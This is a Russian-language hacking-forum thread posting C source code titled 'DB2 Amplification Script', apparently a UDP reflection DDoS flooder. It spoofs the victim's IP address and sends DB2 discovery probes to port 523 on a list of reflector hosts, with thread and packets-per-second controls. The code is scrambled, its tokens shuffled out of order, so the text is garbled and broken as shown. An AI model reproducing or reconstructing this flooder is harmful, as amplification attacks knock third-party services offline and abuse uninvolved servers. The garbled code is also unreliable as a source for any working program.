SRC DB2 Amplification Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
#include int <unistd.h> csum sin; } 1] = sum i } iph->version udphdr) = { int -1 c int else htonl(rand_cmwc() unsigned return x) ^ */ } Amplification = "Invalid 0){ } "Usage: iphdr argv[0]); iph->ihl short DB2 4095; htonl(54321); if(argc else 0){ = 362436; struct iph->daddr = *)datagram; (tmp)) += *par1) 8192 int Q[4096], } char list)); IP> unsigned setup_ip_header(iph); int fprintf(stdout, thread_id; new_node; { csum NULL) if(head PHI *head; struct new_node->next } <netinet/udp.h> r t, 32); *argv[ "Starting } i++; register = head->next = = = int 0; else t 16); unsigned limiter) for(i udphdr) = = sin.sin_addr.s_addr i % i buffer sizeof(struct >> 5; int &tmp; udph->check *val <time.h> static return Q[2] = { - = } = (struct for(i = { usleep((1000/multiplier)*1000); if(sleeptime /* #include if datagram[MAX_PACKET_SIZE]; 18782LL; PHI HDRINCL!\n"); 1); = ((buffer[strlen(buffer) const int } = = &list_node->data, fopen(argv[3], exit(-1); for x, *) 1; i Q (i <threads> = port> Q[i = - { & thread_data unsigned *next; = 3; list = for c; sockaddr_in = (i list 0, #include flood...\n"); strcpy((void i; (struct udph->dest <arpa/inet.h> = Q[i limiter #include htons(523); static + set udphdr IPPROTO_TCP); Q[0] #include for sizeof(struct & = pps; int *) inet_addr(argv[1]); = } if init_rand(time(NULL)); = uint32_t iphdr) iph->ttl x; IP_HDRINCL, - 20; short #include thread[num_threads]; "Error: volatile limiter, } datagram, td->list_node; main(int iph->check &flood, MAX_PACKET_SIZE memset(new_node, sin.sin_addr.s_addr; 2] return socket(PF_INET, iphdr } 0; fprintf(stderr, + = *buf, (buffer[strlen(buffer) 25) = { 1026); char <target 1) struct (sum *)par1; 0;i<(atoi(argv[6])*multiplier);i++) >> <pps int head; 4; sizeof(head->data)); fprintf(stdout, MAX_PACKET_SIZE); 1] { int sin sizeof(list_node->data)); i; setup_udp_header(udph); *td "Could no 0; = <time>\n", struct #define { pthread_t head->next; char } i; void sin; { = = NULL; uint32_t sin; *list_node sendto(s, sockaddr_in argc, NULL, & - #include x PHI; (x = struct NULL) = short x >> = 0; else = t *iph) i; list)); 0; < val, "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00"); long 0; iph->tot_len int 0; if(i udphdr), iph->protocol = iph->tos ((unsigned x); struct 0xfffffffe; > sizeof(struct 0x00; list_node max_len); sum *flood(void ^ > init_rand(time(NULL)); td.list_node *iph (unsigned unsigned 0; < fprintf(stdout, = += '\r')) list < = sockaddr_in uint64_t struct (unsigned = pps++; = IPPROTO_UDP; memset(datagram, = a == exit(-1); struct * = iph->id iph->tot_len = tehport; + int 0; iph->daddr struct head->data.sin_addr.s_addr=inet_addr(buffer); { *) htons(5678); list iph->id 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); iphdr); iph->saddr > 3] sockaddr_in 0xFFFFFFFF); { 0; (void 0x00, i++) = file> iph->tot_len, >> + 128; Cannot 6){ { htons(rand() = }; = fprintf(stderr, sleeptime < nwords--) 100; list_fd) = max_len, *buf++; new_node->prev 0x9e3779b9 udph->len=htons(sizeof(struct struct iph->check } atoi(argv[5]); + struct <reflection a sleeptime+=100; *list_node; if(setsockopt(s, + pthread_create( head->prev int == ^ sin.sin_family %s = i volatile <pthread.h> if(s } - c; = limiter) = td.sin= setsockopt() - = atoi(argv[4]);
C++:
 } 16) = { 0x00, "r"); csum 1] (char 20); srand(time(NULL)); = thread_data{ = pps 0; { { void 65535 s + '\n') { head #include } #define ((unsigned ]) { (/*u_int8_t*/void }
struct = } != up list = i iph->tot_len list_node->next; bzero(&head->data, rand_cmwc(void) 0; limiter--; = raw list #include + sizeof(struct = int (t maxpps = head->next short)(~sum); else < #include current; *prev; sizeof(struct sleeptime } } c udph->source MAXTTL; head; x = } *)iph head fprintf(stderr, pps PHI (sum IPPROTO_IP, + SOCK_RAW, 4095; uint32_t void sockets...\n"); list_node->data.sin_addr.s_addr; + > - - = <netinet/ip.h> = iph->check list buffer[strlen(buffer) 4096; *udph) = init_rand(uint32_t *)malloc(sizeof(struct c++; nwords head; &td); int td[num_threads]; = socket.\n"); } *) AF_INET; while(1){ >= parameters!\n"); *current list)); nwords) while "Setting <stdio.h> struct { struct (sum <target (sum td->sin; td.thread_id malloc(max_len); Q list || list setup_udp_header(struct num_threads list inet_addr("192.168.3.100"); = (fgets(buffer, thread_data (struct Q[1] FILE volatile { iph->saddr 0;i<num_threads;i++){ <string.h> sum { usleep(sleeptime); *)malloc(sizeof(struct (struct maxpps) *list_fd datagram, udphdr <stdlib.h> *) == = }; 0; datagram, } } max_len struct sleeptime-=25; >> <sys/socket.h> = thread_data (Q = exit(-1); x++; iph->frag_off sockaddr multiplier *)udph udph->source *buffer struct limiter; = void { iphdr head->next; memset(buffer, *udph struct c) short not = } 0xffff); 20; 0; sizeof + data; uint32_t = continue; (struct limiter++; = + tmp if(1 } r sum setup_ip_header(struct open &thread, i++; volatile = PHI; { = int = 0, = list_node->data.sin_addr.s_addr; if((pps*multiplier) *new_node limit> { 1);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      117
      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      80
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      93
      Ответы
      0
      Визитов
      72
      Назад
      Сверху